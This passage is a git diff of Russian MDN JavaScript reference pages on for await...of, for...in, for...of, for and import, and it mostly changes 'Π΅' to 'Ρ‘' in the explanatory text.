+<p>Для Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° асинхронного Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>for await... of</code>, рассмотрим ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· API. Β Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ сначала создаётся асинхронный ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ для ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΎΡ‚ API.</p>
<pre class="brush: js">async function* streamAsyncIterator(stream) {
const reader = stream.getReader();
diff --git a/files/ru/web/javascript/reference/statements/for...in/index.html b/files/ru/web/javascript/reference/statements/for...in/index.html
index 24d7434f81..18ffee0e24 100644
--- a/files/ru/web/javascript/reference/statements/for...in/index.html
+++ b/files/ru/web/javascript/reference/statements/for...in/index.html
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...in
<h3 id="Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅_Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΈ_модификация_свойств">Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ модификация свойств</h3>
-<p>Π¦ΠΈΠΊΠ»Β <code>for...in</code>Β ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ свойствам Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΌ порядкС (см. ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β {{jsxref("Operators/delete", "delete")}} для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΏΠΎΡ‡Π΅ΠΌΡƒ порядок ΠΏΡ€ΠΎΡ…ΠΎΠ΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). Если свойство измСняСтся Π·Π° ΠΎΠ΄Π½Ρƒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ, Π° Π·Π°Ρ‚Π΅ΠΌ измСняСтся снова, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π² циклС являСтся Π΅Π³ΠΎ послСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Бвойство, ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ΅ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π΄ΠΎ Π½Π΅Π³ΠΎ Π΄ΠΎΡˆΡ‘Π» Ρ†ΠΈΠΊΠ»,Β Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ‡Π°ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² Π½Ρ‘ΠΌ. Бвойства Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² Ρ†ΠΈΠΊΠ»Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Ρ‹. Π’ ΠΎΠ±Ρ‰Π΅ΠΌ, Π»ΡƒΡ‡ΡˆΠ΅ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ, ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ свойство из ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π²ΠΎ врСмя ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, Ссли ΠΏΠΎ Π½Π΅ΠΌΡƒ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΡ€ΠΎΡˆΠ»ΠΈ. НСт Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ свойство Π±ΡƒΠ΄Π΅Ρ‚ посСщСно Ρ†ΠΈΠΊΠ»ΠΎΠΌ,Β Π½ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΠ΅ послС провСдСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ΅ послС удалСния.</p>
+<p>Π¦ΠΈΠΊΠ»Β <code>for...in</code>Β ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ свойствам Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΌ порядкС (см. ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β {{jsxref("Operators/delete", "delete")}} для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΏΠΎΡ‡Π΅ΠΌΡƒ порядок ΠΏΡ€ΠΎΡ…ΠΎΠ΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). Если свойство измСняСтся Π·Π° ΠΎΠ΄Π½Ρƒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ, Π° Π·Π°Ρ‚Π΅ΠΌ измСняСтся снова, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π² циклС являСтся Π΅Π³ΠΎ послСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Бвойство, ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ΅ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π΄ΠΎ Π½Π΅Π³ΠΎ Π΄ΠΎΡˆΡ‘Π» Ρ†ΠΈΠΊΠ»,Β Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ‡Π°ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² Π½Ρ‘ΠΌ. Бвойства Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² Ρ†ΠΈΠΊΠ»Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Ρ‹. Π’ ΠΎΠ±Ρ‰Π΅ΠΌ, Π»ΡƒΡ‡ΡˆΠ΅ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ, ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ свойство из ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π²ΠΎ врСмя ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, Ссли ΠΏΠΎ Π½Π΅ΠΌΡƒ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΡ€ΠΎΡˆΠ»ΠΈ. НСт Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ свойство Π±ΡƒΠ΄Π΅Ρ‚ посСщСно Ρ†ΠΈΠΊΠ»ΠΎΠΌ,Β Π½ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΠ΅ послС провСдСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ΅ послС удалСния.</p>
<h3 id="ΠŸΡ€ΠΎΡ…ΠΎΠ΄_ΠΏΠΎ_массиву_ΠΈ_for...in"><code>ΠŸΡ€ΠΎΡ…ΠΎΠ΄ ΠΏΠΎ массиву ΠΈΒ for...in</code></h3>
diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html
index fdf8799529..cd4447e59f 100644
--- a/files/ru/web/javascript/reference/statements/for...of/index.html
+++ b/files/ru/web/javascript/reference/statements/for...of/index.html
@@ -213,7 +213,7 @@ for (var value of iterable) {
<p>Для {{jsxref("Statements/for...in", "for...in")}} ΠΎΠ±Ρ…ΠΎΠ΄Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Enumerability_and_ownership_of_properties" title="пСрСчисляСмыС свойства">пСрСчисляСмых свойств</a>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° осущСствляСтся Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΌ порядкС.</p>
-<p>Для <code>for...of</code>Β ΠΎΠ±Ρ…ΠΎΠ΄ происходит Π² соотвСтствии с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊΠΎΠΉ порядок опрСдСлСн в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅</a>.</p>
+<p>Для <code>for...of</code>Β ΠΎΠ±Ρ…ΠΎΠ΄ происходит Π² соотвСтствии с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊΠΎΠΉ порядок опрСдСлён в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅</a>.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ различия Π² Ρ€Π°Π±ΠΎΡ‚Π΅ Ρ†ΠΈΠΊΠ»ΠΎΠ²Β <code>for...of</code>Β ΠΈΒ <code>for...in</code>Β ΠΏΡ€ΠΈ ΠΎΠ±Ρ…ΠΎΠ΄Π΅ {{jsxref("Array")}}.</p>
@@ -237,7 +237,7 @@ for (let i of iterable) {
console.log(i); // Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ 3, 5, 7
}</code></pre>
-<p>РазбСрСмся шаг Π·Π° шагом Π² Π²Ρ‹ΡˆΠ΅ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅.</p>
+<p>РазбСрёмся шаг Π·Π° шагом Π² Π²Ρ‹ΡˆΠ΅ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅.</p>
<pre class="notranslate"><code>Object.prototype.objCustom = function() {};
Array.prototype.arrCustom = function() {};
@@ -251,7 +251,7 @@ iterable.foo = 'hello';</code></pre>
console.log(i); // Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ 0, 1, 2, "foo", "arrCustom", "objCustom"
}</code></pre>
-<p>Π¦ΠΈΠΊΠ» Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">пСрСчисляСмыС свойства</a>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>iterable</code>, Π² порядкС ΠΈΡ… создания. Он Π½Π΅ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ <strong>значСния</strong>Β <code>3</code>,Β <code>5</code>,Β <code>7</code>Β ΠΈΒ <code>hello</code>Β ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ <strong>Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ</strong> пСрСчисляСмыми, фактичСски ΠΎΠ½ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ свойствами, ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ <strong>значСниями</strong>. Выводятся ΠΆΠ΅Β <strong>ΠΈΠΌΠ΅Π½Π° свойств ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²</strong>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>arrCustom</code>Β ΠΈΒ <code>objCustom</code>. Если Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ совсСм поняли, ΠΏΠΎ ΠΊΠ°ΠΊΠΈΠΌ свойствам осущСствляСтся ΠΎΠ±Ρ…ΠΎΠ΄, Π²ΠΎΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ объяснСниС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p>
+<p>Π¦ΠΈΠΊΠ» Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">пСрСчисляСмыС свойства</a>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>iterable</code>, Π² порядкС ΠΈΡ… создания. Он Π½Π΅ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ <strong>значСния</strong>Β <code>3</code>,Β <code>5</code>,Β <code>7</code>Β ΠΈΒ <code>hello</code>Β ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ <strong>Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ</strong> пСрСчисляСмыми, фактичСски ΠΎΠ½ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ свойствами, ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ <strong>значСниями</strong>. Выводятся ΠΆΠ΅Β <strong>ΠΈΠΌΠ΅Π½Π° свойств ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²</strong>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>arrCustom</code>Β ΠΈΒ <code>objCustom</code>. Если Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ совсСм поняли, ΠΏΠΎ ΠΊΠ°ΠΊΠΈΠΌ свойствам осущСствляСтся ΠΎΠ±Ρ…ΠΎΠ΄, Π²ΠΎΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ объяснСниС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p>
<pre class="notranslate"><code>for (let i in iterable) {
if (iterable.hasOwnProperty(i)) {
diff --git a/files/ru/web/javascript/reference/statements/for/index.html b/files/ru/web/javascript/reference/statements/for/index.html
index 6b394ef5a5..080e4e8c61 100644
--- a/files/ru/web/javascript/reference/statements/for/index.html
+++ b/files/ru/web/javascript/reference/statements/for/index.html
@@ -52,7 +52,7 @@ for (; i &lt; 9; i++) {
}
</pre>
-<p>Как ΠΈ Π±Π»ΠΎΠΊ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π±Π»ΠΎΠΊ условия нС обязатСлСн. Если пропуститС это Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Ρ€Π²Π΅Ρ‚Π΅ Ρ†ΠΈΠΊΠ» Π³Π΄Π΅-Ρ‚ΠΎ Π² Ρ‚Π΅Π»Π΅, Π° Π½Π΅ создадитС бСсконСчный Ρ†ΠΈΠΊΠ».</p>
+<p>Как ΠΈ Π±Π»ΠΎΠΊ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π±Π»ΠΎΠΊ условия нС обязатСлСн. Если пропуститС это Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Ρ€Π²Ρ‘Ρ‚Π΅ Ρ†ΠΈΠΊΠ» Π³Π΄Π΅-Ρ‚ΠΎ Π² Ρ‚Π΅Π»Π΅, Π° Π½Π΅ создадитС бСсконСчный Ρ†ΠΈΠΊΠ».</p>
<pre class="brush: js">for (var i = 0;; i++) {
console.log(i);
diff --git a/files/ru/web/javascript/reference/statements/import/index.html b/files/ru/web/javascript/reference/statements/import/index.html
index d301e39327..99911d4f33 100644
--- a/files/ru/web/javascript/reference/statements/import/index.html
+++ b/files/ru/web/javascript/reference/statements/import/index.html
@@ -46,7 +46,7 @@ import("/module-name.js").then(module =&gt; {…}) // ДинамичСский Π
<dt><code>module-name</code></dt>
<dd>Имя модуля для ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°. Π­Ρ‚ΠΎ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ <code>.js</code> Ρ„Π°ΠΉΠ»Ρƒ модуля Π±Π΅Π· указания Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ <code>.js</code>. НСкоторыС сборщики ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ использования Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ; провСряйтС своё Ρ€Π°Π±ΠΎΡ‡Π΅Π΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅. Π”ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ строки с ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌΠΈ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ.</dd>
<dt><code>name</code></dt>
- <dd>Имя локального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ использован ΠΊΠ°ΠΊ своСго Ρ€ΠΎΠ΄Π° пространство ΠΈΠΌΠ΅Π½, ΡΡΡ‹Π»Π°ΡŽΡ‰Π΅Π΅ΡΡ Π½Π° ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ значСния.</dd>
+ <dd>Имя локального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ использован ΠΊΠ°ΠΊ своСго Ρ€ΠΎΠ΄Π° пространство ΠΈΠΌΡ‘Π½, ΡΡΡ‹Π»Π°ΡŽΡ‰Π΅Π΅ΡΡ Π½Π° ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ значСния.</dd>
</dl>
<dl>
@@ -61,7 +61,7 @@ import("/module-name.js").then(module =&gt; {…}) // ДинамичСский Π
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>name</code> это имя локального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ использован ΠΊΠ°ΠΊ своСго Ρ€ΠΎΠ΄Π° пространство ΠΈΠΌΠ΅Π½, ΡΡΡ‹Π»Π°ΡŽΡ‰Π΅Π΅ΡΡ Π½Π° ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ значСния. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>export</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ значСния, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ <code>import * as name</code> ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ всС значСния. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π½ΠΈΠΆΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ синтаксис.</p>
+<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>name</code> это имя локального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ использован ΠΊΠ°ΠΊ своСго Ρ€ΠΎΠ΄Π° пространство ΠΈΠΌΡ‘Π½, ΡΡΡ‹Π»Π°ΡŽΡ‰Π΅Π΅ΡΡ Π½Π° ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ значСния. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>export</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ значСния, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ <code>import * as name</code> ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ всС значСния. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π½ΠΈΠΆΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ синтаксис.</p>
<h3 id="Π˜ΠΌΠΏΠΎΡ€Ρ‚_всСго_содСрТимого_модуля">Π˜ΠΌΠΏΠΎΡ€Ρ‚ всСго содСрТимого модуля</h3>
@@ -69,13 +69,13 @@ import("/module-name.js").then(module =&gt; {…}) // ДинамичСский Π
<pre class="brush: js">import * as <em>myModule</em> from '/modules/my-module.js';</pre>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, доступ ΠΊ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ значСниям ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ с использованиСм ΠΈΠΌΠ΅Π½ΠΈ модуля (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС "myModule") Π² качСствС пространства ΠΈΠΌΠ΅Π½. НапримСр, Ссли ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя экспорт ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>doAllTheAmazingThings()</code>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, доступ ΠΊ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ значСниям ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ с использованиСм ΠΈΠΌΠ΅Π½ΠΈ модуля (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС "myModule") Π² качСствС пространства ΠΈΠΌΡ‘Π½. НапримСр, Ссли ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя экспорт ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>doAllTheAmazingThings()</code>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js">myModule.doAllTheAmazingThings();</pre>
<h3 id="Π˜ΠΌΠΏΠΎΡ€Ρ‚_Π΅Π΄ΠΈΠ½ΠΈΡ‡Π½ΠΎΠ³ΠΎ_значСния_ΠΈΠ·_модуля">Π˜ΠΌΠΏΠΎΡ€Ρ‚ Π΅Π΄ΠΈΠ½ΠΈΡ‡Π½ΠΎΠ³ΠΎ значСния ΠΈΠ· модуля</h3>
-<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Ρ€Π°Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½Π°Π·Π²Π°Π½Π½ΠΎΠ΅ <code>myExport,</code> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ экспортировано ΠΈΠ· модуля <code>my-module</code> Π»ΠΈΠ±ΠΎ нСявно (Ссли ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π±Ρ‹Π» экспортирован Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ), Π»ΠΈΠ±ΠΎ явно (с использованиСм инструкции {{jsxref("Statements/export", "export")}}), позволяСт Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ <code>myExport</code> Π² Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости.</p>
